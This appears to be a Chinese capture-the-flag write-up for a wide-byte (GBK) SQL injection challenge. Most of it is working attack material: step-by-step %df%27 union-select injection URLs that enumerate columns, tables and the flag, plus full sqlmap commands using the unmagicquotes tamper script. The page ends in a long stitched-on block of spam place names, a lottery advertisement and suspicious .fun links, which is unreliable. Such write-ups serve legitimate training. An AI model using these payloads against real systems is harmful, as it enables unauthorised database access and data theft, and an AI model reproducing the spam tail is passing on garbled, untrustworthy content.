• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    管家婆精选八码中特蓝月亮 家居| 永仁县| 砚山县| 霞浦县| 平武县| 奈曼旗| 东丽区| 三河市| 京山县| 扶风县| 苏尼特右旗| 连州市| 安塞县| 会同县| 余干县| 四子王旗| 宁陕县| 南开区| 临清市| 双江| 定兴县| 广汉市| 晋州市| 苍南县| 老河口市| 郓城县| 阿尔山市| 都安| 冀州市| 鹿邑县| 彝良县| 通渭县| 博湖县| 泰州市| 大余县| 收藏| 义乌市| 喀喇沁旗| 朝阳县| 张掖市| 教育| 叙永县| 莱州市| 弥勒县| 平阴县| 阳西县| 河源市| 上犹县| 囊谦县| 大荔县| 仲巴县| 秀山| 平山县| 子洲县| 咸丰县| 塘沽区| 宜城市| 澜沧| 德格县| 宁陕县| 搜索| 铅山县| 原平市| 交城县| 渝北区| 遂昌县| 江油市| 武夷山市| 南京市| 恩施市| 庆阳市| 灵璧县| 宜兴市| 永丰县| 龙山县| 商城县| 蚌埠市| 阿尔山市| 桐庐县| 武宣县| 台州市| 洛隆县| 龙海市| 镇巴县| 宁安市| 衡南县| 彝良县| 南和县| 尼勒克县| 大同县| 房山区| 华安县| 桂平市| 如东县| 沧州市| 新丰县| 大厂| 化州市| 女性| 双流县| 万源市| 旌德县| 苏尼特右旗| 胶南市| 湖州市| 河间市| 楚雄市| 原平市| 云梦县| 海伦市| 保靖县| 松滋市| 茶陵县| 东安县| 颍上县| 合阳县| 六枝特区| 博客| 射阳县| 内丘县| 九寨沟县| 淅川县| 万盛区| 塔城市| 永春县| 弥勒县| 杂多县| 盖州市| 武乡县| 罗平县| 原阳县| 涞源县| 元谋县| 梅河口市| 肇州县| 望城县| 曲松县| 武强县| 六安市| 抚州市| 万盛区| 永州市| 奉新县| 清涧县| 韶关市| 容城县| 阿坝县| 建德市| 木兰县| 色达县| 定襄县| 灵璧县| 渝北区| 和静县| 壤塘县| 菏泽市| 南城县| 蒙城县| 怀安县| 彰武县| 西安市| 淅川县| 陕西省| 鸡西市| 北海市| 凌源市| 马边| 阜宁县| 嘉兴市| 莱西市| 鄂尔多斯市| 修水县| 都匀市| 万载县| 札达县| 麻阳| 房山区| 鹿泉市| 枣庄市| 兴文县| 葵青区| 江口县| 垫江县| 仁化县| 沂水县| 东宁县| 罗甸县| 阜南县| 南郑县| 调兵山市| 延吉市| 固始县| 监利县| 双桥区| 越西县| 织金县| 永新县| 河东区| 浦县| 涟水县| 来宾市| 阳新县| 鞍山市| 确山县| 山西省| 马鞍山市| 德阳市| 泾川县| 正宁县| 印江| 前郭尔| 普兰店市| 台南县| 个旧市| 双桥区| 瓦房店市| 怀远县| 敦煌市| 台州市| 彰化市| 德化县| 拉孜县| 六盘水市| 柳州市| 洛隆县| 堆龙德庆县| 洛隆县| 泾阳县| 安溪县| 囊谦县| 新乡市| 鄂托克旗| 宁阳县| 习水县| 东乌珠穆沁旗| 靖西县| 积石山| 南乐县| 山东省| 蒙山县| 申扎县| 佛冈县| 红桥区| 察隅县| 长沙县| 铁岭市| 南召县| 微博| 永靖县| 广灵县| 江山市| 洪湖市| 乐山市| 砚山县| 昌都县| 十堰市| 金秀| 光泽县| 香港| 丹凤县| 肥东县| 渭南市| 当涂县| 合水县| 邵阳市| 弥渡县| 临夏市| 新闻| 九寨沟县| 青阳县| 临颍县| 从化市| 阳信县| 龙江县| 刚察县| 彭泽县| 太保市| 吴江市| 团风县| 萝北县| 德格县| 乌苏市| 山丹县| 自贡市| 宣威市| 盐津县| 江川县| 四川省| 江都市| 古浪县| 广灵县| 习水县| 屯门区| 葫芦岛市| 四子王旗| 河西区| 临城县| 正定县| 察哈| 盱眙县| 嘉义市| 贵阳市| 莱阳市| 邻水| 新巴尔虎右旗| 白山市| 大埔县| 昌图县| 栖霞市| 上思县| 米林县| 阿拉尔市| 武功县| 永顺县| 木兰县| 库车县| 兴业县| 高台县| 馆陶县| 靖边县| 会同县| 高尔夫| 滁州市| 建德市| 康定县| 墨脱县| 景宁| 上林县| 定远县| 磐石市| 呼伦贝尔市| 沁水县| 襄垣县| 开远市| 休宁县| 霍城县| 新沂市| 宁阳县| 宜宾县| 新宾| 西宁市| 夏河县| 察隅县| 蓬溪县| 桐乡市| 乌苏市| 天水市| 郸城县| 宁陕县| 枣强县| 婺源县| 镇坪县| 长岭县| 来凤县| 蒙山县| 西充县| 马龙县| 连平县| 嘉鱼县| 横峰县| 微山县| 陵川县| 贵南县| 怀远县| 安岳县| 赤峰市| 东阳市| 菏泽市| 宜宾县| 巴中市| 隆昌县| 信丰县| 饶平县| 黄冈市| 青阳县| 沙田区| 瑞金市| 宣武区| 西畴县| 潼关县| 温州市| 岳普湖县| 石楼县| 内乡县| 招远市| 综艺| 康马县| 富源县| 沂水县| 石泉县| 大关县| 双鸭山市| 尚志市| 章丘市| 凌源市| 梓潼县| 五峰| 宁乡县| 沁水县| 朔州市| 武穴市| 友谊县| 汨罗市| 西平县| 浏阳市| 长沙县| 罗田县| 平顺县| 揭东县| 友谊县| 芒康县| 建湖县| 正宁县| 凤翔县| 稷山县| 锦州市| 枣庄市| 尚志市| 康平县| 通州市| 铜陵市| 石柱| 青州市| 徐州市| 成安县| 平昌县| 高碑店市| 东源县| 麻阳| 塔城市| 灵丘县| 邳州市| 光山县| 青州市| 开化县| 寻甸| 屏南县| 平利县| 公安县| 乐亭县| 贡觉县| 河北区| 滨州市| 斗六市| 资溪县| 连州市| 江安县| 马尔康县| 沁阳市| 修武县| 祁阳县| 齐齐哈尔市| 聊城市| 建德市| 腾冲县| 屯留县| 辉县市| 晋州市| 怀安县| 农安县| 浦江县| 来安县| 江门市| 旌德县| 乌拉特后旗| 松溪县| 闻喜县| 疏勒县| 章丘市| 和静县| 芦溪县| 阆中市| 阿坝县| 沭阳县| 浮梁县| 万安县| 霍邱县| 当涂县| 河间市| 萨迦县| 清新县| 枣庄市| 信阳市| 太谷县| 榆林市| 无棣县| 阿克陶县| 吉安市| 广河县| 社旗县| 二手房| 全南县| 商水县| 汉寿县| 安阳县| 遂溪县| 南昌市| 荃湾区| 黔东| 惠东县| 栖霞市| 台北县| 广东省| 洛浦县| 长丰县| 天峨县| 贵阳市| 白水县| 康马县| 宜良县| 余庆县| 惠水县| 攀枝花市| 郧西县| 鄂托克前旗| 朝阳县| 阳江市| 顺义区| 临泉县| 巴马| 阳曲县| 蒙阴县| 汉阴县| 深州市| 乌兰察布市| 卢湾区| 两当县| 黔江区| 揭东县| 开原市| 墨脱县| 鄱阳县| 伽师县| 文登市| 江达县| 固镇县| 新化县| 和田县| 屯留县| 连云港市| 舟山市| 营口市| 临夏县| 珠海市| 武宣县| 桐柏县| 洪泽县| 达日县| 仁寿县| 南汇区| 巫溪县| 宽甸| 扎囊县| 高台县| 崇文区| 定日县| 汝城县| 平度市| 安义县| 丰镇市| 古浪县| 明星| 鲁山县| 宣武区| 安岳县| 泊头市| 长沙市| 崇左市| 吴忠市| 长治县| 尤溪县| 岳阳市| 昌平区| 定襄县| 轮台县| 贵德县| 治县。| 法库县| 渭南市| 铜陵市| 高唐县| 水城县| 永济市| 长葛市| 吴堡县| 兰州市| 武义县| 桃源县| 太谷县| 天津市| 敦煌市| 和平县| 当涂县| 涞源县| 广宁县| 马边| 治县。| 佛学| 扎赉特旗| 阿克苏市| 福安市| 阳春市| 密山市| 都江堰市| 葵青区| 麻阳| 富顺县| 东辽县| 顺平县| 昆明市| 响水县| 镇远县| 夏津县| 图木舒克市| 梓潼县| http://m.jx1870centrev.fun http://wap.jx1870creditv.fun http://3g.jx1870awardv.fun http://3g.jx1870binv.fun http://www.jx1870discountv.fun http://3g.jx1870doctorv.fun http://3g.jx1870associatev.fun http://3g.jx1870consentv.fun http://m.jx1870circuitv.fun http://m.jx1870bowlv.fun http://m.jx1870deliverv.fun http://www.jx1870deterzinev.fun http://3g.jx1870docuzentv.fun http://m.jx1870birdv.fun http://m.jx1870coastv.fun http://wap.jx1870ballv.fun http://3g.jx1870aidv.fun http://m.jx1870createv.fun